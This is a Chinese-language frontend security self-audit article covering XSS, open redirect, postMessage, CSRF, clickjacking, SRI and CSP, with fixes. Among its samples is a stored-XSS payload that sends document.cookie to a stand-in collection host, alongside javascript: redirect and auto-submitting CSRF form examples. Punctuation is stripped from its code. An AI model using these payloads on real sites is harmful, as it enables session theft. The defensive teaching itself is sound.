前端安全自查清单:从XSS到供应链攻击的防线构建
如果只把前端理解成“用户看到的页面”那说明安全工作还没做到位。我在前端安全专项里第四天最大的变化是换了视角一个页面的所有交互、输入、跳转和脚本加载实际上都在为一个完整的“可执行环境”服务。前端不是被动展示而是主动制造信任边界的地方。用户输入、第三方依赖、跨窗口消息、本地存储都可能成为击穿整个应用防线的入口。这篇文章就聊聊第四天的排查思路、几个容易被忽略的漏洞类型以及从发现到修复的完整闭环。想认真做前端安全的人不管你是前端负责人、接触安全的前端工程师还是要对上线质量负责的同学都应该把这篇当成一张“自查清单”来看。1. 为什么跑了四天专项我才真正把前端当成攻击面1.1 先想清楚“前端到底在信任谁”做过后端安全的人通常习惯把注意力放在接口鉴权、参数校验、SQL 注入这些地方。这当然没错但前端安全的思路不太一样后端关心的是“数据从哪里进来”前端更关心“代码在谁的页面里执行”。一个现代前端页面日常会信任非常多的输入来源URL 参数、表单内容、路由 hash、postMessage接收到的跨窗口消息、localStorage里缓存的业务数据、动态插入的 DOM 内容还有从 CDN 加载的第三方脚本。这条路线的每一环理论上都可能是攻击者控制的。比如 URL 里的查询参数用户随手改一下就能变成任何字符串第三方脚本被劫持等于把整个前端执行权交给了别人甚至iframe里的子页面也可能通过postMessage给父页面发来一段精心构造的数据。把浏览器想象成一家对外开放的营业场所页面是前台接口是仓库而前端代码则是一整套门禁系统。如果只把门禁当成一块展示牌不去管门的开关逻辑那攻击者随便找到一扇没锁的窗户就能进去。前端就是这个房子的门窗它不只是“给用户看的东西”而是整个系统攻防边界的第一道防线。1.2 “执行就是风险”从输入到 Sink 的完整链路前端安全最核心的分析方法是画“数据流图”。先找出所有可控输入再找出所有可能把输入变成代码执行的出口业内通常把这些出口叫 Sink然后逐一确认两者之间有没有被充分控住。这看起来像是安全工程师的活但实际做得最多的其实是前端开发者因为只有写业务代码的人才知道某段innerHTML里的数据到底来自哪里。第四天我做的最多的事就是把模板里面所有“带 HTML 渲染动作”的地方全部列出来逐个追踪上游来源。下面是审计时我经常对照的一张简化表输入来源危险去向造成的问题URL 参数、hashinnerHTML、document.writeDOM XSS表单内容、后端接口返回值v-html、dangerouslySetInnerHTML存储型 / DOM 型 XSSpostMessage消息直接拼 HTML、修改页面路由跨窗口攻击、DOM 篡改localStorage、sessionStorageeval、new Function、动态脚本任意代码执行可跳转 URLlocation.href、window.open钓鱼、开放重定向第三方 CDN 脚本页面全局作用域供应链攻击、全站沦陷这不是“看一遍代码”就能结束的工作。很多入口是嵌套的比如 A 组件把 URL 参数存到localStorageB 组件在用户打开页面时从localStorage读出来再直接塞进v-html。表面看两个组件各自都没问题连起来就是一条完整的 DOM XSS 链。如果只停留在“这个页面有没有用innerHTML”的层面根本发现不了问题。1.3 为什么前端漏洞总是到中后期才集中暴露第四天让人特别有体感的一点是前端漏洞很少在功能测试阶段被暴露。功能测试只关心“按了这个按钮能不能出结果”不会关心“如果输入框里填一个img onerror会出现什么”。所以漏洞往往要等到专门的安全专项、渗透测试或者线上已经出现异常流量时才被发现。更麻烦的是前端漏洞通常要叠加多个条件才能触发。一个页面以为“后端已经过滤了”另一个组件以为“这里的输入一定是安全来源”两边互相信任最后被攻击者用一段特殊 payload 串起来。这就是为什么真正的安全审计不能只扫一个点而要顺着数据流把所有环节过一遍。前三天我在做代码梳理和环境准备感觉什么“漏洞入口”都没看到到了第四天把这些输入源和危险出口放在同一张图里问题一下子就清晰了。2. 第四天审计里我逐个盘点的前端入口2.1 渲染入口所有“把字符串当 HTML”的地方都是高危区第一个要盘的必然是渲染入口。在标准浏览器 DOM 里页面通常有几组高危 APIinnerHTML、outerHTML、insertAdjacentHTML、document.write。前端框架也有对应的封装比如 Vue 的v-html、React 的dangerouslySetInnerHTML。这些 API 的共同特征是不把字符串当“纯文本”而是把它当“HTML 结构”去解析所以字符串里夹带的标签会直接变成真实 DOM 元素。下面这个例子在真实代码里非常常见// 用户提交昵称后服务端返回前端直接渲染 const userInfo { nickname: getUserNickname() // 可能来自 URL 参数或接口返回值 }; const html div classwelcome欢迎回来${userInfo.nickname}/div; document.getElementById(app).innerHTML html;如果getUserNickname()被攻击者改写成/divimg srcx onerroralert(document.cookie)这段代码就会在页面加载时执行alert。换成更恶意的 payload就能窃取 Token、模拟用户操作甚至往页面里插入一个假的登录框把密码直接发给攻击者。审计这一层时要重点关注的不只是“有没有用危险 API”而是“拼接进来的数据是不是用户可控”。很多团队的代码规范里已经禁止了裸innerHTML但实际业务里还是会有人把服务端返回的富文本直接拼到v-html里。服务端可能已经做过某种过滤但只要过滤规则不完整前端又没有二次编码就仍然等于把一个执行窗口开着。2.2 跳转入口开放重定向不只是“跳个页”第二个入口是跳转。前端业务里有大量场景需要处理跳转登录成功后跳回来源页、分享链接带redirect_url、第三方登录完成后跳转甚至广告位点击跳转。如果这些 URL 直接由用户可控参数决定而且没做协议和域名白名单校验就可能被利用。来看一个典型的例子function goToNextPage() { const target new URLSearchParams(window.location.search).get(redirect); window.location.href target; }攻击者可以把链接构造成https://your-site.example.com/login?redirectjavascript:alert(document.cookie)浏览器在给location.href赋值时可能允许javascript:协议直接执行代码。即使浏览器策略限制了部分场景开放重定向也经常被用于钓鱼用户以为自己点的是你们站点的链接结果一落地就转到了攻击者搭的仿冒页面。修复方式不复杂核心是协议白名单加域名白名单const ALLOWED_ORIGINS [ https://your-site.example.com, https://pay.example.com ]; function safeRedirect(url) { if (!url || typeof url ! string) return /error; if (!/^https?:\/\//.test(url)) return /error; try { const parsed new URL(url, window.location.origin); if (!ALLOWED_ORIGINS.includes(parsed.origin)) return /error; return parsed.toString(); } catch (e) { return /error; } }判断开放重定向时不要只看“能不能跳到外站”还要看“能不能执行代码”。javascript:、data:这类协议都应该被直接拦截内部业务跳转能用路由 push 的就不要拼完整 URL。2.3 通信入口postMessage 是给 iframe 开的另一扇门现代前端里页面和iframe之间的通信几乎离不开postMessage。这个 API 设计的初衷是好的跨窗口传递数据时接收方必须主动确认消息来源。但很多团队用着用着就把“确认来源”这一步给省了。我在审计时经常看到这样的代码window.addEventListener(message, (event) { const data event.data; previewFrame.contentWindow.postMessage(data, *); });如果父页面不加event.origin校验就直接处理消息任何页面只要嵌套一层iframe向你们页面postMessage就能触发消息处理函数。更隐蔽的是有些团队校验了event.origin却把targetOrigin写成*等于把消息广播给所有人中间被别的窗口截获也无从知晓。比较稳的是“双端白名单”const TRUSTED_ORIGIN https://trusted.example.com; let trustedFrame null; function handleMessage(event) { if (event.origin ! TRUSTED_ORIGIN) return; if (!trustedFrame || event.source ! trustedFrame.contentWindow) return; // 到这里才能信任 event.data const data event.data; if (data data.type UPDATE_PREVIEW) { renderPreview(data.html); // 这里仍然要做 HTML 清理 } } window.addEventListener(message, handleMessage);只校验origin还不够event.source也应该被纳入判断否则攻击者可以用一个同源页面里的恶意 iframe 冒充可信子窗口。最后强调一句即使来源可信data本身仍不能直接当 HTML 拼接因为可信来源也可能被中间链路污染。2.4 资源与存储入口第三方依赖和本地缓存不像想象中可靠资源入口是前端安全里很容易被“默认没问题”的部分。团队引用了lodash、axios这类公共库再从 CDN 加载脚本很少有人问一句如果这个 CDN 脚本被替换了怎么办我在第四天把项目里所有的静态资源请求扫了一遍发现存在两种情况要优先处理一是script标签没有integrity校验二是依赖版本直接用^或~浮动每次安装可能拉到不同版本。script srchttps://cdn.example.com/lib.js crossoriginanonymous integritysha384-oqVuAfXRKap7fdgcCY5uykM6R9GqQ8K/uxb1uM4eU4vdS4iXyYB4P0D6K0b0w4 /scriptintegrity属性就是 SRI 子资源完整性校验。浏览器在加载脚本前会先比对哈希不匹配就拒绝执行。现在很多 CDN 都会在响应头里返回预期的哈希值直接在页面标签上写上即可成本很低收益却很大。存储入口也要定期检查。localStorage里不要放长期有效的登录凭证因为只要出现任何一个 XSS攻击者就能通过localStorage.getItem(token)直接拿走会话。Cookie 则要确认是否设置了HttpOnly、Secure、SameSite。HttpOnly能让 JavaScript 读不到 CookieSameSite能在跨站请求时自动收紧携带策略。这些属性看起来都是运维在后端配置但前端同学在联调接口时就应该检查响应头不能默认后端已经处理好了。3. 几个“看着没事实际能被打穿”的漏洞实例3.1 “服务端过滤过所以前端不再转义”的 XSS一次内部系统整改里我遇到过一个典型的存储型 XSS 链路。目标系统是一个典型的后台消息模块用户可以在评论区提交一句话。后端在入库前过滤了部分关键字然后在返回 JSON 时不再做 HTML 实体编码。前端拿到数据后为了让评论里的链接可点击直接用v-html渲染。于是攻击者提交了这么一段内容img srcx onerrorfetch(//collect.example.com/log?cdocument.cookie)后端只过滤了script标签和alert(完全没有拦截img的onerror事件。服务端认为“我做了过滤”前端认为“后端返回的数据是安全的”两边互相推最终结果就是所有打开该页面的用户都会把 Cookie 发到攻击者的收集地址上。这个案例让我意识到前后端的安全职责必须明确切分后端要做的是输入校验和存储安全但不代表它可以兜底前端输出前端必须对“要渲染成 HTML 的内容”做自己的清理和转义。两边都做才叫纵深防御。3.2 依赖自定义 Header 的 CSRF接口以为安全实际一打就穿还有一个案例是关于 CSRF 的。当时系统的所有敏感操作都在请求头里放了一个自定义 token看起来已经做了防护因为跨站请求不可能带自定义 Header——除非触发 CORS 预检后被后端放行而跨站攻击恰恰是在表单提交场景下根本不需要发预检。攻击者构造了一个恶意页面里面放了一张表单form actionhttps://target.example.com/user/update methodPOST input typehidden namenickname valuehacked / /form scriptdocument.forms[0].submit();/script用户在未退出登录的状态下访问攻击者页面浏览器会自动携带target.example.com的 Cookie完成这次提交。后端因为读取不到自定义 Header就直接放行了这个不包含防御性 Token 的请求。这个“漏洞”的根子不在 Header而在于前端代码没有把 CSRF Token 放在表单字段里后端也没有对来源和 Token 做双重校验。修复方案不复杂所有写操作必须带一个由服务端颁发、与用户会话绑定的 CSRF Token且后端要严格拒绝缺失 Token 的请求。同时给 Cookie 设置SameSiteLax或Strict。Lax已经能阻止大部分跨站 POST 请求自动携带 Cookie兼容性也比较好。3.3 只校验了消息类型没校验消息来源的 postMessage再讲一个直接在 UI 组件里暴露的 postMessage 问题。某个预览功能父页面创建了一个 iframe 用来展示自定义模板模板内容由父页面里一个编辑器生成。原代码在监听消息时只判断了event.data.action render完全没有检查event.origin。结果是攻击者可以在自己的恶意页面里创建一个指向目标站点父页面的 iframe。由于同源页面可以直接postMessage给父页面吗这里需要细说iframe 跨域时攻击者可以向父页面postMessage任意消息父页面的监听器都会收到。然后恶意 iframe 发一条{action:render, html:img srcx onerror...}如果父页面拿到消息后直接渲染攻击者就获得了当前用户上下文里的执行能力。事后处理包括三个动作第一addEventListener里马上校验event.origin第二校验event.source确认消息确实来自预期 iframe第三渲染内容前再做一次 HTML 清洗不能把“来源可信”和“内容安全”画等号。3.4 点击劫持看不见的 iframe 覆盖层点击劫持严格来说不是 XSS但它确实是通过前端页面暴露的漏洞。攻击者把目标页面嵌入自己的透明 iframe用户看到的攻击者页面里有一个诱导按钮比如“点击领奖”实际上用户点下去的位置恰好落在目标页面“删除账号”按钮上。这种情况能不能发生取决于目标页面允不允许被 iframe 嵌套。审计方法很简单打开浏览器控制台发送一个请求看响应头里有没有X-Frame-Options或 CSP 的frame-ancestors。修复也非常直接在页面响应头里加上Content-Security-Policy: frame-ancestors none如果业务确实需要被某些可信站点嵌套那就明确定义可信域名frame-ancestors self https://trusted.example.com。还需要同时保留X-Frame-Options: DENY作为老浏览器的兜底。4. 从发现到修复我用的一条完整整改链路4.1 先确认“这条链路到底要修哪一层”过去我容易犯一个错误看到一个 DOM XSS就只在innerHTML前面加一个escapeHtml()完事。后来发现这只是治标因为下一个开发同学接手后可能换了一个组件又在同一个数据源上使用了新的危险 API。修复一个漏洞不能停留在“当前代码这一行”要顺着数据流往前找。所以在整改时我会和团队一起把链路分层拆开前端负责输出编码、渲染白名单和跳转校验后端负责输入校验、输出编码、CSRF Token 和安全的 Cookie 属性运维负责确认 CDN 资源完整性、CSP 响应头和 iframe 嵌套策略。三层都改到位才算真正关掉这个漏洞入口。举个例子针对存储型 XSS前端除了改用textContent或经过DOMPurify清洗外后端也要在存储和返回时做编码处理绝不能说“前端已经清理了后端就不用管了”。因为数据可能被其他非前端渠道消费例如导出报告、邮件通知、管理后台列表。每一层都应该假设“下游不可信”。4.2 前端代码怎么改最不容易反弹具体的代码修复我的优先级如下能用纯文本渲染的绝不使用innerHTML和v-html。必须渲染富文本的使用白名单清洗库处理只允许p、strong、a、li这类基本标签禁止script、iframe、object、事件属性。跳转 URL 必须通过URL对象解析同时校验协议和来源域名白名单。window.open的noopener和noreferrer属性不要省略否则新页面可以通过window.opener控制来源页面。postMessage接收方必须校验origin和source发送方必须指定明确的targetOrigin不能用*。拿最常用的 React 和 Vue 来举例React 里如果确实需要 dangerouslySetInnerHTML先过清洗函数Vue 里如果遇到 v-html同样先过清洗并且要在代码评审时明确标注使用原因。宁可让富文本效果差一点也不要轻易把执行权交给用户输入。4.3 用 CSP 把兜底网织起来代码修复得再完整也有漏网的可能所以我会把 CSP 作为最后一道防线要求核心站点必须配置。这里给一份比较严格的策略参考Content-Security-Policy: default-src self; script-src self nonce-{随机值} strict-dynamic; object-src none; base-uri none; frame-ancestors none; report-uri /csp-report;script-src里的nonce意味着只有带正确随机值的脚本标签才会执行线上所有内联事件属性onclick、onerror等都会被拦截。strict-dynamic允许被 nonce 标记的脚本再加载同源子脚本适用于现代前端构建产物。report-uri则可以把违规请求收集到日志平台方便知道是不是有人在尝试绕过。配置 CSP 之后最常遇到的问题就是线上样式乱了、脚本不执行了。这属于正常阵痛期需要把内联样式和eval相关代码逐步清理掉。等稳定之后恶意脚本想在页面里执行难度会高一个数量级。4.4 漏洞修复完怎么证明真的修好了修复之后一定要做回归验证不能“看代码觉得没事”就算完成。我的验证清单一般包含四个环节用浏览器打开页面在输入框、URL 参数、hash 里分别填入编码后的 payload检查是否弹出执行框。用 curl 检查关键响应头是否出现 CSP、CORS、Cookie 属性。打开开发者工具手工查一下所有script标签是否带integrity有没有从非可信域名加载脚本。用一个空白 HTML 页面引用目标站点确认页面是否仍然能被 iframe 嵌入如果业务不允许被嵌套则应该看到frame-ancestors生效。这里有个小技巧在控制台里先把当前的 Cookie 值复制到一个变量里跑完 payload 后再重新读取一次如果 Cookie 发生变化说明 XSS 可能已经拿到会话了。这个方法不需要额外工具只需要几分钟就能把高危点过一遍。5. 几件比“修漏洞”更重要的事把前端安全固化到流程5.1 给前端加上“危险代码清单”和自动检查第四天整改完那批问题后我做的第一件事不是庆祝而是把检查规则固化下来。静态检查工具是最值得投入的eslint-plugin-no-unsanitized能在写代码阶段直接拦截不安全的innerHTML和dangerouslySetInnerHTMLeslint-plugin-security能识别eval、new Function、child_process等危险用法。在团队里推行时不要一次性把规则开满否则大量存量代码会直接红成一片开发同学第一反应就是关掉规则。更顺的做法是先把规则设为 warning给两周过渡期让大家改再提升为 error 并接入 CI。CI 里一旦命中合并请求就过不了。这比“靠代码评审人眼抓”靠谱得多因为人工评审经常被业务逻辑消耗完精力根本顾不上去追数据的源头。5.2 依赖治理版本锁定和完整性校验要一起做供应链攻击这几年越来越值得警惕。攻击者不直接打业务代码而是通过发布一个和知名包同名的恶意包、或者通过发包者账号泄露来投毒。前端工程部署后最终运行在用户浏览器里的就是这些依赖包一旦依赖出问题全站都可能被控制。落地措施主要有三条依赖版本全部记录在 lockfile 里提交到代码仓库安装时以 lockfile 为准。CI 构建机器上固定 npm registry不要随便使用临时源。对直接从 CDN 引入的第三方脚本统一加 SRI 完整性校验并定期巡检哈希。另外npm audit或各类依赖漏洞库的扫描要纳入版本发布流程。发现了高危漏洞不要只看能不能用、有没有被直接引用因为一个被import的深层依赖也可能被攻击者通过原型链污染等方式利用。宁可提前升级也不要冒险上线。5.3 上线前五分钟用一张快查卡代替“凭感觉”前端安全最难推广的是让每个开发都能快速自查。我后来做了一张“上线前安全快查卡”只有五个问题但每一个都对应着一个漏洞类别快查项检查内容对应风险危险渲染是否存在 innerHTML、v-html、dangerouslySetInnerHTML数据源是否可控XSS跳转拼接是否直接拼接 location、window.open、router 地址有没有协议/域名白名单开放重定向跨窗口消息postMessage 是否校验 origin 和 sourcetargetOrigin 是否明确跨窗口攻击Cookie 与存储Cookie 是否设置 HttpOnly/Secure/SameSitelocalStorage 是否存敏感凭证会话窃取框架与资源依赖是否锁定第三方脚本是否带 SRI页面是否可被任意 iframe 嵌套供应链攻击 / 点击劫持这张卡不是用来替代安全评审的而是让每个开发在提测之前花五分钟走一遍。如果任何一个问题答不上来那说明这条链路没有想清楚就该回头查数据流。实际用下来团队里的“低级重复漏洞”明显减少因为大家开始有意识地把“这个值从哪来、会到哪个 sink 去”当成写代码的默认问题。5.4 前端安全不是一个角色的事最后想说的是前端安全落到研发流程里最难的不是技术而是责任划分。很多团队天然觉得“安全是安全团队的事”但安全团队成员通常看不懂业务组件里那层复杂的数据流转前端开发才是真正掌握每一个输入源和出口的人。第四天的专项结束后我给自己定了一个新规矩每次提测前先把自己负责页面的数据流图画一遍找出所有外部输入和所有 DOM 渲染点再跑一遍快速验证。这不会增加多少工作量但对质量的提升非常明显。前端不再是那个“谁都能进来展示一下”的页面它正在变成系统的第一道防线而写这道防线的人就是我们自己。